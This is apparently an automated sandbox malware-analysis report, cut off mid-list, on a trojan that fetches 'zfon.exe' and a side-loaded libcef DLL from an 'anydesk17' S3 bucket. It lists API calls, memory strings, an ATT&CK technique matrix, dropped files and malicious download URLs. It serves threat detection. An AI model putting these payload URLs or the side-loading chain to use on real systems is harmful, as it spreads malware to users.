Source: hh.exe, 00000007.00000002.4591567895.000001CDCB7CF000.00000004.00000020.00020000.00000000.sdmp, hh.exe, 00000007.00000002.4591567895.000001CDCB748000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 0 minProgram Manager
Source: explorer.exe, 0000000B.00000000.2557975463.0000000009BB2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.2589830986.0000000009BB2000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd=
Source: explorer.exe, 0000000B.00000000.2551931305.0000000001731000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 0000000B.00000002.2585674966.0000000004B00000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.2551931305.0000000001731000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000E.00000002.4594191362.00000000046BF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 0000000B.00000000.2551931305.0000000001731000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000E.00000002.4591125608.0000000000C60000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.4597563509.0000000004AA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 0000000E.00000003.3869237698.0000000004789000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.4594191362.0000000004789000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2602666332.0000000004789000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Progman_
Source: explorer.exe, 0000000B.00000000.2551931305.0000000001731000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 0000000B.00000000.2551388655.0000000000EF0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.2581630998.0000000000EF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PProgman

Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: ___lc_locale_name_func,__crtGetLocaleInfoEx,	5_2_00007FF8B910F930
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: __crtDownlevelLocaleNameToLCID,GetLocaleInfoW,	5_2_00007FF8B90E9B90
Source: C:\Windows\hh.exe	Code function: gethostname,gethostbyname,RegOpenKeyExW,RegQueryValueExW,RegCloseKey,GetSystemInfo,GetDriveTypeW,GetDiskFreeSpaceExW,GlobalMemoryStatusEx,GetLocalTime,GetNativeSystemInfo,K32GetProcessImageFileNameW,GetLogicalDriveStringsW,CoInitializeEx,CoCreateInstance,RegOpenKeyExW,GetLocaleInfoW,GetCurrentHwProfileW,RegOpenKeyExW,RegDeleteValueW,RegCreateKeyW,RegSetValueExW,CreateToolhelp32Snapshot,CreateToolhelp32Snapshot,CreateToolhelp32Snapshot,	7_2_000001CDCB8F6370
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: ___lc_locale_name_func,__crtGetLocaleInfoEx,	26_2_00007FF8A937F930
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: __crtDownlevelLocaleNameToLCID,GetLocaleInfoW,	26_2_00007FF8A9359B90
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: ___lc_locale_name_func,__crtGetLocaleInfoEx,	28_2_00007FF8A802F930
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: __crtDownlevelLocaleNameToLCID,GetLocaleInfoW,	28_2_00007FF8A8009B90

Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Queries volume information: C:\Users\user\Desktop\VJQyKuHEUe.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior

Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe

Code function: 5_2_00007FF7F974DD10 GetSystemTimeAsFileTime,

5_2_00007FF7F974DD10

Source: C:\Windows\hh.exe

Code function: 7_2_000001CDCB921F88 _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

7_2_000001CDCB921F88

Source: C:\Users\user\Desktop\VJQyKuHEUe.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.10.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.10.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.10.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.10.dr	Binary or memory string: MsMpEng.exe

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Replication Through Removable Media	1 Native API	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	2 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Windows Service	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	11 Peripheral Device Discovery	Remote Desktop Protocol	2 Input Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Windows Service	1 Abuse Elevation Control Mechanism	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Registry Run Keys / Startup Folder	412 Process Injection	2 Obfuscated Files or Information	NTDS	26 System Information Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	1 Software Packing	LSA Secrets	1 Query Registry	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Registry Run Keys / Startup Folder	1 Timestomp	Cached Domain Credentials	351 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	151 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	3 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Modify Registry	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	151 Virtualization/Sandbox Evasion	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	412 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
VJQyKuHEUe.exe	34%	ReversingLabs	ByteCode-MSIL.Trojan.Zilla
VJQyKuHEUe.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\MSVCP140.dll	0%	ReversingLabs
C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\VCRUNTIME140.dll	0%	ReversingLabs
C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\libcef.raw	24%	ReversingLabs	Win64.Trojan.DllHijack
C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\vcruntime140_1.dll	0%	ReversingLabs
C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	0%	ReversingLabs

Source	Detection	Scanner	Label
https://anydesk17.s3.ap-east-1.amazonaws.com/VCRUNTIME140.dlld	0%	Avira URL Cloud	safe
https://anydesk17.s3.ap-east-1.amazonaws.com/aut.pngd	0%	Avira URL Cloud	safe
https://anydesk17.s3.ap-east-1.amazonaws.com/aut.png	100%	Avira URL Cloud	malware
https://anydesk17.s3.ap-east-1.amazonaws.com/vcruntime140_1.dll	0%	Avira URL Cloud	safe
https://anydesk17.s3.ap-east-1.amazonaws.com/MSVCP140.dlld	0%	Avira URL Cloud	safe
https://anydesk17.s3.ap-east-1.amazonaws.com/VCRUNTIME140.dll	0%	Avira URL Cloud	safe
https://anydesk17.s3.ap-east-1.amazonaws.com/zfon.exe	0%	Avira URL Cloud	safe
https://www.battle.net/shop/simplecheckout/navbar	0%	Avira URL Cloud	safe
https://anydesk17.s3.ap-east-1.amazonaws.com/view.png	100%	Avira URL Cloud	malware
https://anydesk17.s3.ap-east-1.amazonaws.com/MSVCP140.dll	0%	Avira URL Cloud	safe
https://anydesk17.s3.ap-east-1.amazonaws.com	0%	Avira URL Cloud	safe
https://anydesk17.s3.ap-east-1.amazonaws.com/view.pngd	0%	Avira URL Cloud	safe
https://www.battle.net/shop/simplecheckout/error	0%	Avira URL Cloud	safe
https://www.battle.net/shop/simplecheckout/debug-harness	0%	Avira URL Cloud	safe
https://www.battle.net/shop/simplecheckout/error?error=	0%	Avira URL Cloud	safe
https://anydesk17.s3.ap-east-1.amazonaws.com/libcef.dlld	0%	Avira URL Cloud	safe
http://s3-r-w.ap-east-1.amazonaws.comd	0%	Avira URL Cloud	safe
https://anydesk17.s3.ap-east-1.amazonaws.com/libcef.dll	100%	Avira URL Cloud	malware
https://www.battle.net/shop/simplecheckout/loadinghttps://www.battle.net/shop/simplecheckout/navbarh	0%	Avira URL Cloud	safe
https://word.office.comz	0%	Avira URL Cloud	safe
http://anydesk17.s3.ap-east-1.amazonaws.comd	0%	Avira URL Cloud	safe
https://www.battle.net/shop/simplecheckout/loading	0%	Avira URL Cloud	safe
https://anydesk17.s3.ap-east-1.amazonaws.com/vcruntime140_1.dlld	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s3-r-w.ap-east-1.amazonaws.com	3.5.237.31	true	false	high
anydesk17.s3.ap-east-1.amazonaws.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://anydesk17.s3.ap-east-1.amazonaws.com/aut.png	true	Avira URL Cloud: malware	unknown
https://anydesk17.s3.ap-east-1.amazonaws.com/vcruntime140_1.dll	false	Avira URL Cloud: safe	unknown
https://anydesk17.s3.ap-east-1.amazonaws.com/VCRUNTIME140.dll	false	Avira URL Cloud: safe	unknown
https://anydesk17.s3.ap-east-1.amazonaws.com/view.png	true	Avira URL Cloud: malware	unknown
https://anydesk17.s3.ap-east-1.amazonaws.com/MSVCP140.dll	false	Avira URL Cloud: safe	unknown
https://anydesk17.s3.ap-east-1.amazonaws.com/zfon.exe	false	Avira URL Cloud: safe	unknown
https://anydesk17.s3.ap-east-1.amazonaws.com/libcef.dll	false	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://word.office.comon	explorer.exe, 0000000B.00000002.2589830986.00000000099C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.2557975463.00000000099C0000.00000004.00000001.00020000.00000000.sdmp	false		high
https://powerpoint.office.comcember	explorer.exe, 0000000B.00000002.2597298593.000000000C460000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.2568860335.000000000C460000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.battle.net/shop/simplecheckout/navbar	zfon.exe, zfon.exe, 0000001C.00000000.2959614142.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001C.00000002.2961814980.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001D.00000002.2961682739.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001D.00000000.2960499282.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001E.00000002.3553393851.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001E.00000000.3549567178.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001F.00000002.3553394809.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001F.00000000.3551069756.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000022.00000000.4164944378.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000022.00000002.4185877613.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000023.00000002.4185778715.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000023.00000000.4182637611.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp	false	Avira URL Cloud: safe	unknown
http://upx.sf.net	Amcache.hve.10.dr	false		high
https://powerpoint.office.com	explorer.exe, 0000000E.00000003.2663848409.0000000008EC8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2668179739.0000000008EC8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2656028707.0000000008ECC000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2671733531.0000000008EC8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2658351434.0000000008ECC000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2681947926.0000000008ECA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://excel.office.com	explorer.exe, 0000000B.00000000.2557975463.0000000009BB2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.2589830986.0000000009BB2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2662236331.0000000008DC3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2656869082.0000000008DC3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2669765501.0000000008DC3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2665757256.0000000008DC3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2673852456.0000000008DC3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://anydesk17.s3.ap-east-1.amazonaws.com/aut.pngd	VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A33000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://schemas.micro	explorer.exe, 0000000B.00000000.2556832450.0000000008870000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000000.2556911362.0000000008890000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000B.00000002.2587251608.0000000007DC0000.00000002.00000001.00040000.00000000.sdmp	false		high
https://outlook.com	explorer.exe, 0000000B.00000000.2557975463.0000000009BB2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.2589830986.0000000009BB2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2662236331.0000000008DC3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2656869082.0000000008DC3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2669765501.0000000008DC3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2665757256.0000000008DC3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2673852456.0000000008DC3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://anydesk17.s3.ap-east-1.amazonaws.com/VCRUNTIME140.dlld	VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A4F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://anydesk17.s3.ap-east-1.amazonaws.com/MSVCP140.dlld	VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A82000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nydus.battle.net/Bnet/client/purchase/jsutil	zfon.exe, 00000005.00000000.2525776894.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000006.00000000.2527059033.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000006.00000002.2606835994.00007FF7F981B000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001A.00000000.2806503804.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001A.00000002.2809331354.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001B.00000000.2807948806.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001B.00000002.2809299266.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001C.00000000.2959614142.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001C.00000002.2961814980.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001D.00000002.2961682739.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001D.00000000.2960499282.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001E.00000002.3553393851.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001E.00000000.3549567178.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001F.00000002.3553394809.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001F.00000000.3551069756.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000022.00000000.4164944378.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000022.00000002.4185877613.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000023.00000002.4185778715.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000023.00000000.4182637611.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp	false		high
https://anydesk17.s3.ap-east-1.amazonaws.com/libcef.dlld	VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A9A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://anydesk17.s3.ap-east-1.amazonaws.com	VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002970000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.00000000029AC000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A9A000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A33000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A4F000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A6E000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002964000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://anydesk17.s3.ap-east-1.amazonaws.com/view.pngd	VJQyKuHEUe.exe, 00000000.00000002.2529667483.00000000029AC000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://s3-r-w.ap-east-1.amazonaws.com	VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002977000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A9A000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A33000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A4F000.00000004.00000800.00020000.00000000.sdmp, VJQyKuHEUe.exe, 00000000.00000002.2529667483.0000000002A6E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.battle.net/shop/simplecheckout/error?error=	zfon.exe, 00000005.00000000.2525776894.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000006.00000000.2527059033.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000006.00000002.2606835994.00007FF7F981B000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001A.00000000.2806503804.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001A.00000002.2809331354.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001B.00000000.2807948806.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001B.00000002.2809299266.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001C.00000000.2959614142.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001C.00000002.2961814980.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001D.00000002.2961682739.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001D.00000000.2960499282.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001E.00000002.3553393851.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001E.00000000.3549567178.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001F.00000002.3553394809.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001F.00000000.3551069756.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000022.00000000.4164944378.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000022.00000002.4185877613.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000023.00000002.4185778715.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000023.00000000.4182637611.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp	false	Avira URL Cloud: safe	unknown
https://www.battle.net/shop/simplecheckout/error	zfon.exe, zfon.exe, 0000001C.00000000.2959614142.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001C.00000002.2961814980.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001D.00000002.2961682739.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001D.00000000.2960499282.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001E.00000002.3553393851.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001E.00000000.3549567178.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001F.00000002.3553394809.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001F.00000000.3551069756.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000022.00000000.4164944378.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000022.00000002.4185877613.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000023.00000002.4185778715.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000023.00000000.4182637611.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp	false	Avira URL Cloud: safe	unknown
https://android.notify.windows.com/iOS	explorer.exe, 0000000B.00000000.2553828308.00000000076F8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.2585817290.00000000076F8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2737490360.000000000C072000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2749284190.000000000C072000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.4608114951.000000000C068000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2726021307.000000000C071000.00000004.00000020.00020000.00000000.sdmp	false		high
https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp	explorer.exe, 0000000E.00000003.2749284190.000000000C187000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2726021307.000000000C187000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2737490360.000000000C187000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.4608114951.000000000C178000.00000004.00000020.00020000.00000000.sdmp	false		high
https://word.office.comz	explorer.exe, 0000000E.00000003.2662236331.0000000008DC3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2656869082.0000000008DC3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2669765501.0000000008DC3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2665757256.0000000008DC3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2673852456.0000000008DC3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nydus.battle.net/Pro/	zfon.exe, 00000005.00000000.2525776894.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000006.00000000.2527059033.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000006.00000002.2606835994.00007FF7F981B000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001A.00000000.2806503804.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001A.00000002.2809331354.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001B.00000000.2807948806.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001B.00000002.2809299266.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001C.00000000.2959614142.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001C.00000002.2961814980.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001D.00000002.2961682739.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001D.00000000.2960499282.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001E.00000002.3553393851.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001E.00000000.3549567178.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001F.00000002.3553394809.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 